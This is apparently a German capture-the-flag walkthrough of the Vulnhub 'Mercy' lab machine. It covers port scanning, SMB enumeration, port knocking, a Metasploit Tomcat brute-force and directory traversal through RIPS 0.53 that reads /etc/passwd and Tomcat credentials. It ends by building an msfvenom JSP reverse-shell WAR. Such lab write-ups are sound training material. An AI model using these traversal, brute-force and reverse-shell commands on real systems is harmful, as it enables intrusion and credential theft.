Mercy - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
nikto
gobuster
dirsearch
curl
msfconsole
nc
ssh2john
john
vi
find
getcap
ss

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~]
└─# arp-scan -l
192.168.2.131 08:00:27:35:85:9d PCS Systemtechnik GmbH
                

Der Befehl arp-scan -l sendet ARP-Anfragen an das lokale Netzwerksegment, um alle aktiven Hosts zu identifizieren. Die Ausgabe zeigt die IP-Adresse 192.168.2.131 und die MAC-Adresse 08:00:27:35:85:9d des Zielsystems sowie den Hersteller der Netzwerkkarte (PCS Systemtechnik GmbH).

┌──(root㉿cyber)-[~]
└─# vi /etc/hosts
192.168.2.131   mercy.vln
                

Die Datei /etc/hosts wird bearbeitet, um den Hostnamen mercy.vln der IP-Adresse 192.168.2.131 zuzuordnen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse bei nachfolgenden Befehlen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.131 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-24 23:10 CET
Nmap scan report for mercy.vln (192.168.2.131)
Host is up (0.00017s latency).
Not shown: 65525 closed tcp ports (reset)
PRT     STATE    SERVICE     VERSIN
22/tcp   filtered ssh
53/tcp   open     domain      ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3ubuntu0.17-Ubuntu
80/tcp   filtered http
110/tcp  open     pop3?
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: RESP-CDES SASL AUTH-RESP-CDE PIPELINING CAPA STLS TP UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-08-24T13:22:55
|_Not valid after:  2028-08-23T13:22:55
139/tcp  open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
143/tcp  open     imap        Dovecot imapd
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-08-24T13:22:55
|_Not valid after:  2028-08-23T13:22:55
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: IMAP4rev1 capabilities have ENABLE listed LGIN-REFERRALS LITERAL+ more IDLE LGINDISABLEDA0001 SASL-IR K post-login ID STARTTLS Pre-login
445/tcp  open     netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WRKGRUP)
993/tcp  open     ssl/imap    Dovecot imapd
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-08-24T13:22:55
|_Not valid after:  2028-08-23T13:22:55
|_imap-capabilities: IMAP4rev1 capabilities have ENABLE IDLE LITERAL+ more listed AUTH=PLAINA0001 SASL-IR K post-login ID LGIN-REFERRALS Pre-login
|_ssl-date: TLS randomness does not represent time
995/tcp  open     ssl/pop3
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: RESP-CDES USER AUTH-RESP-CDE PIPELINING CAPA SASL(PLAIN) TP UIDL
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-08-24T13:22:55
|_Not valid after:  2028-08-23T13:22:55
| fingerprint-strings:
|   afp:
|_    +K Dovecot (Ubuntu) ready.
8080/tcp open     http        Apache Tomcat/Coyote JSP engine 1.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
| http-methods:
|_  Potentially risky methods: PUT DELETE
| http-robots.txt: 1 disallowed entry
|_/tryharder/tryharder
|_http-title: Apache Tomcat
Device type: general purpose
Running: Linux 3.X|4.X
S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
S details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: MERCY; S: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
|   S: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: mercy
|   NetBIS computer name: MERCY\x00
|   Domain name: \x00
|   FQDN: mercy
|_  System time: 2023-11-25T06:13:49+08:00
|_nbstat: NetBIS name: MERCY, NetBIS user: , NetBIS MAC:  (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: mean: -2h39m57s, deviation: 4h37m07s, median: 2s
| smb2-time:
|   date: 2023-11-24T22:13:49
|_  start_date: N/A

TRACERUTE
HP RTT     ADDRESS
1   0.17 ms mercy.vln (192.168.2.131)
                

Der Befehl nmap -sS -sV -A -T5 192.168.2.131 -p- führt einen umfassenden Nmap-Scan auf dem Zielsystem durch.

Die Ausgabe zeigt eine Vielzahl offener Ports, darunter: Die SSL-Zertifikate für die Maildienste sind auf "localhost" ausgestellt, was auf eine Standardkonfiguration hinweist. Die HTTP-Dienste (Ports 80 und 8080) sind gefiltert, was auf eine Firewall hindeutet. Das Ergebnis des SMB-OS-Discovery-Skripts deutet auf ein Windows 6.1-System (Samba 4.3.11-Ubuntu) hin. Dies ist irreführend, da es sich um die Samba-Version handelt, die unter Ubuntu läuft. Die Ergebnisse der Clock-Skew-Analyse weisen darauf hin, dass es eine Zeitabweichung zwischen dem Angreifer- und dem Zielsystem gibt.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.131 -p- | grep open
53/tcp   open  domain      ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux)
110/tcp  open  pop3?
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WRKGRUP)
143/tcp  open  imap        Dovecot imapd
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WRKGRUP)
993/tcp  open  ssl/imap    Dovecot imapd
995/tcp  open  ssl/pop3
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-open-proxy: Proxy might be redirecting request
                

Dieser Befehl ist eine Wiederholung des vorherigen Nmap-Scans, wobei die Ausgabe jedoch mit grep open gefiltert wird, um nur die offenen Ports anzuzeigen. Dies dient der Übersichtlichkeit.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u "http://mercy.vln:8080" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" -b '403,404' -e --no-error -k
http://mercy.vln:8080/index.html           (Status: 200) [Size: 1895]
http://mercy.vln:8080/docs                 (Status: 302) [Size: 0] [--> http://mercy.vln:8080/docs/]
http://mercy.vln:8080/examples             (Status: 302) [Size: 0] [--> http://mercy.vln:8080/examples/]
http://mercy.vln:8080/robots.txt           (Status: 200) [Size: 45]
http://mercy.vln:8080/manager              (Status: 302) [Size: 0] [--> http://mercy.vln:8080/manager/]
                

Der Befehl gobuster dir -u "http://mercy.vln:8080" -x ... -w ... verwendet Gobuster, um nach Verzeichnissen und Dateien auf dem Apache Tomcat Webserver auf Port 8080 zu suchen.

Die Ausgabe zeigt, dass die folgenden Verzeichnisse gefunden wurden:

Web Enumeration

http://mercy.vln:8080/
It works !

If you're seeing this page via a web browser, it means you've setup Tomcat successfully. Congratulations!

This is the default Tomcat home page. It can be found on the local filesystem at: /var/lib/tomcat7/webapps/RT/index.html

Tomcat7 veterans might be pleased to learn that this system instance of Tomcat is installed with CATALINA_HME in /usr/share/tomcat7 and CATALINA_BASE in 
/var/lib/tomcat7, following the rules from /usr/share/doc/tomcat7-common/RUNNING.txt.gz.

You might consider installing the following packages, if you haven't already done so:

tomcat7-docs: This package installs a web application that allows to browse the Tomcat 7 documentation locally. nce installed, you can access it by clicking here.

tomcat7-examples: This package installs a web application that allows to access the Tomcat 7 Servlet and JSP examples. nce installed, you can access it by clicking here.

tomcat7-admin: This package installs two web applications that can help managing this Tomcat instance. nce installed, you can access the manager webapp and the host-manager webapp.

NTE: For security reasons, using the manager webapp is restricted to users with role "manager-gui". The host-manager webapp is restricted to users with role "admin-gui". 
Users are defined in /etc/tomcat7/tomcat-users.xml.
            

Die Ausgabe von http://mercy.vln:8080/ zeigt die Standard-Tomcat-Startseite. Interessant sind die Hinweise auf die Tomcat-Admin-Webanwendungen (Manager und Host-Manager), die jedoch nur Benutzern mit den entsprechenden Rollen zugänglich sind. Die Benutzer werden in der Datei /etc/tomcat7/tomcat-users.xml definiert.

http://mercy.vln:8080/robots.txt
User-agent: *
Disallow: /tryharder/tryharder
            

Die Datei robots.txt auf Port 8080 verbietet den Zugriff auf das Verzeichnis /tryharder/tryharder.

http://mercy.vln:8080//tryharder/tryharder
SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9ydGFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZCBsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVuIHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpbyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kIGVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg
            

Der Inhalt der Datei http://mercy.vln:8080//tryharder/tryharder ist Base64-kodiert.

https://www.base64decode.org/
It's annoying, but we repeat this over and over again: cyber hygiene is extremely 
important. Please stop setting silly passwords that will get cracked with any decent 
password list.
 
nce, we found the password "password", quite literally sticking on a post-it in front
 of an employee's desk! As silly as it may be, the employee pleaded for mercy when we 
threatened to fire her.

No fluffy bunnies for those who set insecure passwords and 
endanger the enterprise.
            

Die Base64-dekodierte Nachricht betont die Wichtigkeit der Cyber-Hygiene und warnt vor der Verwendung unsicherer Passwörter. Sie erzählt die Geschichte, wie das Passwort "password" auf einem Post-it-Zettel gefunden wurde.

Initial Access

┌──(root㉿cyber)-[~]
└─# enum4linux -a 192.168.2.131
                ...
                

Der Befehl enum4linux -a 192.168.2.131 verwendet das Tool Enum4linux, um Informationen über das SMB-Protokoll (Samba) vom Zielsystem abzurufen. Die Option -a steht für "alles", was bedeutet, dass das Tool versuchen wird, alle verfügbaren Informationen abzurufen, wie z.B.:

        Sharename       Type      Comment
... (Fortsetzung von oben)
        qiu             Disk
        IPC$            IPC       IPC Service (MERCY server (Samba, Ubuntu))
                

Die Ausgabe von Enum4linux zeigt die verfügbaren Freigaben auf dem SMB-Server:

Die Freigabe qiu könnte interessant sein, um weitere Informationen zu sammeln.

        [+] Enumerating users using SID S-1-22-1 and logon username '', password ''

        S-1-22-1-1000 Unix User\pleadformercy (Local User)
        S-1-22-1-1001 Unix User\qiu (Local User)
        S-1-22-1-1002 Unix User\thisisasuperduperlonguser (Local User)
        S-1-22-1-1003 Unix User\fluffy (Local User)
                

Enum4linux listet die folgenden Benutzernamen auf:

Diese Benutzernamen könnten für Brute-Force-Angriffe oder zur Ausnutzung anderer Schwachstellen verwendet werden.

        [+] Enumerating users using SID S-1-5-32 and logon username '', password ''

        S-1-5-32-544 BUILTIN\Administrators (Local Group)
        S-1-5-32-545 BUILTIN\Users (Local Group)
        S-1-5-32-546 BUILTIN\Guests (Local Group)
        S-1-5-32-547 BUILTIN\Power Users (Local Group)
        S-1-5-32-548 BUILTIN\Account perators (Local Group)
        S-1-5-32-549 BUILTIN\Server perators (Local Group)
        S-1-5-32-550 BUILTIN\Print perators (Local Group)
                

Enum4linux listet die Built-in-Gruppen auf. Diese sind weniger interessant, da sie Standardgruppen sind.

        [+] Enumerating users using SID S-1-5-21-3544418579-3748865642-433680629 and logon username '', password ''

        S-1-5-21-3544418579-3748865642-433680629-501 MERCY\nobody (Local User)
        S-1-5-21-3544418579-3748865642-433680629-513 MERCY\None (Domain Group)
        S-1-5-21-3544418579-3748865642-433680629-1000 MERCY\pleadformercy (Local User)
        S-1-5-21-3544418579-3748865642-433680629-1001 MERCY\qiu (Local User)
                

Enum4linux listet die Benutzernamen mit der zugehörigen Domäne (MERCY) auf. Die relevantesten Benutzernamen sind:

        =( Getting printer info for 192.168.2.131 )=

        No printers returned.
                

Enum4linux konnte keine Druckerinformationen abrufen.

        enum4linux complete on Sat Nov 25 00:01:35 2023
                

Enum4linux ist abgeschlossen.

msf6 > use auxiliary/scanner/http/tomcat_mgr_login
msf6 auxiliary(scanner/http/tomcat_mgr_login) > options
Module options (auxiliary/scanner/http/tomcat_mgr_login):

   Name              Current Setting         Required  Description
   ----              ---------------         --------  -----------
   ANNYMUS_LOGIN    false                   yes       Attempt to login with a blank username and password
   BLANK_PASSWRDS   false                   no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                       yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                   no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                   no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                   no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                    no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD                                  no        The HTTP password to specify for authentication
   PASS_FILE         /usr/share/metasploit-  no        File containing passwords, one per line
                     framework/data/wordlists/tomcat_mgr_default_pass.txt
   Proxies                                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT             8080                    yes       The target port (TCP)
   SSL               false                   no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false                   yes       Stop guessing when a credential works for a host
   TARGETURI         /manager/html           yes       URI for Manager login. Default is /manager/html
   THREADS           1                       yes       The number of concurrent threads (max one per host)
   USERNAME                                  no        The HTTP username to specify for authentication
   USERPASS_FILE     /usr/share/metasploit-  no        File containing users and passwords separated by space, one pair per line
                     framework/data/wordlists/tomcat_mgr_default_userpass.txt
   USER_AS_PASS      false                   no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-  no        File containing users, one per line
                     framework/data/wordlists/tomcat_mgr_default_users.txt
   VERBOSE           true                    yes       Whether to print output for all attempts
   VHOST                                     no        HTTP server virtual host


View the full module info with the info, or info -d command.
                

Der Benutzer lädt das Metasploit-Modul auxiliary/scanner/http/tomcat_mgr_login, das verwendet wird, um Tomcat-Manager-Anmeldeinformationen zu brute-forcen. Der Befehl options zeigt die verfügbaren Optionen für dieses Modul an.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set TARGETURI /manager/html
TARGETURI => /manager/html
                

Setzt die TARGETURI-Option auf /manager/html. Dies ist der Pfad zur Tomcat-Manager-Anmeldeseite.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8080
RPORT => 8080
                

Setzt die RPORT-Option auf 8080. Dies ist der Port, auf dem der Tomcat-Webserver läuft.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set USER_FILE users.txt
USER_FILE => users.txt
                

Setzt die USER_FILE-Option auf users.txt. Dies ist eine Datei, die eine Liste von Benutzernamen enthält, die für den Brute-Force-Angriff verwendet werden sollen.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set pass_file /usr/share/wordlists/rockyou.txt
pass_file => /usr/share/wordlists/rockyou.txt
                

Setzt die PASS_FILE-Option auf /usr/share/wordlists/rockyou.txt. Dies ist eine Datei, die eine Liste von Passwörtern enthält, die für den Brute-Force-Angriff verwendet werden sollen.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
[-] MsfptionValidateError The following options failed to validate: RHOSTS
                

Die Ausführung des Moduls schlägt fehl, weil die Option RHOSTS nicht gesetzt wurde.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 192.168.2.131
rhosts => 192.168.2.131
                

Setzt die RHOSTS-Option auf 192.168.2.131. Dies ist die IP-Adresse des Zielsystems.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > run

Die Ausgabe dieses Befehls fehlt im bereitgestellten Text. Es ist jedoch davon auszugehen, dass das Metasploit-Modul nun ausgeführt wird und versucht, Tomcat-Manager-Anmeldeinformationen zu finden.

┌──(root㉿cyber)-[~]
└─# smbclient \\\\192.168.2.131\\qiu -U qiu%password
Try "help" to get a list of possible commands.
smb: \>
            

Der Befehl smbclient \\\\192.168.2.131\\qiu -U qiu%password verwendet den smbclient, um eine Verbindung zur SMB-Freigabe qiu auf dem Zielsystem herzustellen. Der Benutzername ist qiu und das Passwort ist password.

┌──(root㉿cyber)-[~]
└─# smbclient \\\\192.168.2.131\\qiu -U qiu%password
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Aug 31 21:07:00 2018
  ..                                  D        0  Mon Nov 19 17:59:09 2018
  .bashrc                             H     3637  Sun Aug 26 15:19:34 2018
  .public                            DH        0  Sun Aug 26 16:23:24 2018
  .bash_history                       H      163  Fri Aug 31 21:11:34 2018
  .cache                             DH        0  Fri Aug 31 20:22:05 2018
  .private                           DH        0  Sun Aug 26 18:35:34 2018
  .bash_logout                        H      220  Sun Aug 26 15:19:34 2018
  .profile                            H      675  Sun Aug 26 15:19:34 2018

		19213004 blocks of size 1024. 15743204 blocks available
                

Der Befehl ls listet den Inhalt der Freigabe qiu auf. Interessant ist das Verzeichnis `.private`.

smb: \> get .bash_history
getting file \.bash_history of size 163 as .bash_history (159,2 KiloBytes/sec) (average 159,2 KiloBytes/sec)
            

Der Befehl get .bash_history lädt die Datei .bash_history vom Zielsystem herunter. Diese Datei enthält die Befehlshistorie des Benutzers qiu.

smb: \> put rev.php
NT_STATUS_ACCESS_DENIED opening remote file \rev.php
            

Der Versuch, die Datei rev.php hochzuladen, schlägt aufgrund fehlender Berechtigungen fehl.

smb: \> pwd
Current directory is \\192.168.2.131\qiu\
            

Der Befehl pwd zeigt das aktuelle Verzeichnis an, das \\192.168.2.131\qiu\ ist.

smb: \> cd .private\
smb: \.private\> ls
  .                                   D        0  Sun Aug 26 18:35:34 2018
  ..                                  D        0  Fri Aug 31 21:07:00 2018
  opensesame                          D        0  Thu Aug 30 18:36:50 2018
  readme.txt                          N       94  Sun Aug 26 16:22:35 2018
  secrets                             D        0  Mon Nov 19 18:01:09 2018

		19213004 blocks of size 1024. 15743204 blocks available
            

Das Verzeichnis .private wird aufgerufen und der Inhalt aufgelistet. Hier fallen die Dateien und Verzeichnisse opensesame, readme.txt und secrets auf.

smb: \.private\> get readme.txt
getting file \.private\readme.txt of size 94 as readme.txt (91,8 KiloBytes/sec) (average 125,5 KiloBytes/sec)
            

Die Datei readme.txt wird heruntergeladen.

┌──(root㉿cyber)-[~]
└─# cat readme.txt
This is for your own eyes only. In case you forget the magic 
rules for remote administration.
            

Der Inhalt der Datei readme.txt deutet darauf hin, dass es in diesem Verzeichnis wichtige Informationen gibt.

smb: \.private\opensesame\> ls
  .                                   D        0  Thu Aug 30 18:36:50 2018
  ..                                   D        0  Sun Aug 26 18:35:34 2018
  configprint                         A      539  Thu Aug 30 18:39:14 2018
  config                              N    17543  Fri Aug 31 21:11:56 2018

		19213004 blocks of size 1024. 15743204 blocks available
            

Das Verzeichnis opensesame wird aufgerufen und der Inhalt aufgelistet. Hier fallen die Dateien configprint und config auf.

smb: \.private\opensesame\> get config
getting file \.private\opensesame\config of size 17543 as config (8565,5 KiloBytes/sec) (average 4345,7 KiloBytes/sec)
            

Die Datei config wird heruntergeladen.

smb: \.private\opensesame\> get configprint
getting file \.private\opensesame\configprint of size 539 as configprint (526,3 KiloBytes/sec) (average 3581,8 KiloBytes/sec)
            

Die Datei configprint wird heruntergeladen.

smb: \.private\opensesame\> cd ..
smb: \.private\>
            

Es wird zurück ins übergeordnete Verzeichnis .private gewechselt.

┌──(root㉿cyber)-[~]
└─# grep password -i config
# If you are using encrypted passwords, Samba will need to know what
# password database type you are using.
# password with the SMB password when the encrypted SMB password in the
   unix password sync = yes
# For Unix password sync to work on a Debian GNU/Linux system, the following
   passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
# This boolean controls whether PAM will be used for password changes
   pam password change = yes
# password; please adapt to your needs
; add user script = /usr/sbin/adduser --quiet --disabled-password --gecos "" %u
            

Der Befehl grep password -i config sucht in der heruntergeladenen config-Datei nach Zeilen, die das Wort "password" (ungeachtet der Groß- und Kleinschreibung) enthalten. Die Ausgabe zeigt verschiedene Konfigurationsoptionen im Zusammenhang mit Passwörtern, was darauf hindeutet, dass die Datei sensible Informationen enthalten könnte.

┌──(root㉿cyber)-[~]
└─# cat configprint
#!/bin/bash

echo "Here are settings for your perusal." > config
echo "" >> config
echo "Port Knocking Daemon Configuration" >> config
echo "" >> config
cat "/etc/knockd.conf" >> config
echo "" >> config
echo "Apache2 Configuration" >> config
echo "" >> config
cat "/etc/apache2/apache2.conf" >> config
echo "" >> config
echo "Samba Configuration" >> config
echo "" >> config
cat "/etc/samba/smb.conf" >> config
echo "" >> config
echo "For other details of MERCY, please contact your system administrator." >> config

chown qiu:qiu config
            

Die Datei configprint ist ein Bash-Skript, das verschiedene Konfigurationsdateien ausliest und in einer einzigen Datei namens config zusammenfasst. Es liest die Konfigurationen für Port Knocking Daemon, Apache2 und Samba aus. Dies deutet darauf hin, dass diese Dienste auf dem System aktiv sind und ihre Konfigurationen untersucht werden können, um Schwachstellen zu finden.

┌──(root㉿cyber)-[~]
└─# grep "Port Knocking Daemon Configuration" -ni config
3:Port Knocking Daemon Configuration
           

Der Befehl grep "Port Knocking Daemon Configuration" -ni config sucht nach der Zeichenkette "Port Knocking Daemon Configuration" in der config-Datei und gibt die Zeilennummer aus. Die Ausgabe zeigt, dass sich diese Zeichenkette in Zeile 3 befindet.

┌──(root㉿cyber)-[~]
└─# cat config
Here are settings for your perusal.

Port Knocking Daemon Configuration

[options]
	UseSyslog

[openHTTP]
	sequence    = 159,27391,4
	seq_timeout = 100
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
	tcpflags    = syn

[closeHTTP]
	sequence    = 4,27391,159
	seq_timeout = 100
	command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 80 -j ACCEPT
	tcpflags    = syn

[openSSH]
	sequence    = 17301,28504,9999
	seq_timeout = 100
	command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

[closeSSH]
	sequence    = 9999,28504,17301
	seq_timeout = 100
	command     = /sbin/iptables -D iNPUT -s %IP% -p tcp --dport 22 -j ACCEPT
	tcpflags    = syn

Apache2 Configuration
           

Die Ausgabe von cat config zeigt die zusammengeführten Konfigurationsdateien, einschließlich der Konfiguration für den Port Knocking Daemon. Hier sind die Sequenzen zum Öffnen und Schließen von Ports 80 (HTTP) und 22 (SSH) aufgeführt.

┌──(root㉿cyber)-[~]
└─# knock 192.168.2.131 17301 28504 9999 // für ssh

Der Befehl knock 192.168.2.131 17301 28504 9999 sendet eine Port-Knocking-Sequenz an das Zielsystem, um den SSH-Port (22) zu öffnen.

┌──(root㉿cyber)-[~]
└─# knock 192.168.2.131 159 27391 4 // für http

Der Befehl knock 192.168.2.131 159 27391 4 sendet eine Port-Knocking-Sequenz an das Zielsystem, um den HTTP-Port (80) zu öffnen.

┌──(root㉿cyber)-[~]
└─# nmap -sS -sV -A -T5 192.168.2.131 -p- | grep open
22/tcp   open  ssh         penSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
53/tcp   open  domain      ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux)
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
            

Nach dem Senden der Port-Knocking-Sequenzen wird ein erneuter Nmap-Scan durchgeführt, um zu überprüfen, ob die Ports 22 (SSH) und 80 (HTTP) nun offen sind. Die Ausgabe bestätigt, dass dies der Fall ist.

┌──(root㉿cyber)-[~]
└─# gobuster dir -u "http://mercy.vln" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" -b '403,404' -e --no-error -k
http://mercy.vln/index.html           (Status: 200) [Size: 90]
http://mercy.vln/login.html           (Status: 200) [Size: 67]
http://mercy.vln/time                 (Status: 200) [Size: 79]
http://mercy.vln/robots.txt           (Status: 200) [Size: 50]
            

Nachdem der HTTP-Port geöffnet wurde, wird Gobuster verwendet, um die Website zu durchsuchen. Die Ausgabe zeigt, dass die folgenden Seiten gefunden wurden:

http://mercy.vln/robots.txt

User-agent: *
Disallow: /mercy
Disallow: /nomercy
                

Die Datei robots.txt verbietet das Crawlen der Verzeichnisse /mercy und /nomercy.

http://mercy.vln/mercy/

Index of /mercy
[ICO]	Name	Last modified	Size	Description
________________________________________________________________________________

[ ]	index.php	2018-08-31 00:51 	187 	 
________________________________________________________________________________
Apache/2.4.7 (Ubuntu) Server at mercy.vln Port 80

Welcome to Mercy!

We hope you do not plead for mercy too much. If you do, 
please help us upgrade our website to allow our visitors 
to obtain more than just the local time of our system.

Das Verzeichnis /mercy enthält die Datei index.php. Der Kommentar "We hope you do not plead for mercy too much" ist ein Hinweis auf den Namen des Systems.

http://mercy.vln/nomercy/
 <-- Logo by Gareth Heyes -->
RIPS 0.53
            

Das Verzeichnis /nomercy scheint eine RIPS-Installation zu sein (ein Tool zur statischen Codeanalyse für PHP-Code). Dies könnte ein interessanter Angriffspunkt sein.

rips 0.53 exploit -->> https://www.exploit-db.com/exploits/18660
            

Ein Exploit für RIPS 0.53 ist auf Exploit-DB verfügbar (https://www.exploit-db.com/exploits/18660).

http://mercy.vln/time

The system time is: Sat Nov 25 07:42:01 +08 2023.
Time check courtesy of LINUX
            

Die Seite /time zeigt die Systemzeit an.

http://mercy.vln/index.html

This machine shall make you plead for mercy! Bwahahahahaha!
            

Die Startseite enthält eine Warnung, die sich auf den Namen des Systems bezieht.

┌──(root㉿cyber)-[~]
└─# curl http://mercy.vln/nomercy/windows/function.php?file=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
            

Der Befehl curl http://mercy.vln/nomercy/windows/function.php?file=../../../../../../etc/passwd versucht, die Datei /etc/passwd über die function.php-Datei in der RIPS-Installation auszulesen. Die Ausgabe zeigt, dass der Zugriff auf die Datei erfolgreich war und der Eintrag für den Benutzer root angezeigt wird. Dies deutet auf eine Directory-Traversal-Schwachstelle hin.

┌──(root㉿cyber)-[~]
└─# curl http://mercy.vln/nomercy/windows/code.php?file=../../../../../../etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
postgres:x:111:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
pleadformercy:x:1000:1000:pleadformercy:/home/pleadformercy:/bin/bash
qiu:x:1001:1001:qiu:/home/qiu:/bin/bash
thisisasuperduperlonguser:x:1002:1002:,,,:/home/thisisasuperduperlonguser:/bin/bash
            

Der Befehl curl http://mercy.vln/nomercy/windows/code.php?file=../../../../../../etc/passwd | grep bash versucht, die Datei /etc/passwd über die code.php-Datei in der RIPS-Installation auszulesen und die Ausgabe mit grep nach Zeilen zu filtern, die /bin/bash enthalten. Die Ausgabe zeigt die Benutzerkonten, die eine Bash-Shell verwenden, einschließlich root, postgres, pleadformercy, qiu und thisisasuperduperlonguser. Auch dies bestätigt die Directory-Traversal-Schwachstelle.

┌──(root㉿cyber)-[~]
└─# curl http://mercy.vln/nomercy/windows/code.php?file=../../../../../..//var/lib/tomcat7/conf/tomcat-users.xml
 role rolename= ;admin-gui  
 role rolename= ;manager-gui 
 user username= thisisasuperduperlonguser" password= heartbreakisinevitable" roles= admin-gui,manager-gui 
 user username= fluffy password=freakishfluffybunny ;
            

Der Befehl curl http://mercy.vln/nomercy/windows/code.php?file=../../../../../..//var/lib/tomcat7/conf/tomcat-users.xml versucht, die Datei tomcat-users.xml auszulesen, die die Benutzer und Passwörter für den Tomcat-Webserver enthält. Die Ausgabe zeigt die Benutzernamen und Passwörter für die Tomcat-Administration, darunter:

  • thisisasuperduperlonguser mit dem Passwort heartbreakisinevitable (admin-gui,manager-gui)
  • fluffy mit dem Passwort freakishfluffybunny
Dies ist ein kritischer Fund, da diese Anmeldeinformationen für den Zugriff auf die Tomcat-Verwaltungsoberfläche verwendet werden können.

fluffy password=freakishfluffybunny
Funktioniert es: user=thisisasuperduperlonguser 
                     pass=heartbreakisinevitable
            

Diese Zeilen fassen die gefundenen Anmeldeinformationen noch einmal zusammen.

Privilege Escalation

┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# msfvenom -p java/jsp_shell_reverse_tcp LHST=192.168.2.199 LPRT=4242 -f war > reverse.war
Payload size: 1093 bytes
Final size of war file: 1093 bytes
            

Der Befehl msfvenom -p java/jsp_shell_reverse_tcp LHST=192.168.2.199 LPRT=4242 -f war > reverse.war verwendet Msfvenom, um ein Reverse-TCP-Shell-Payload in Form einer WAR-Datei (reverse.war) zu erstellen.

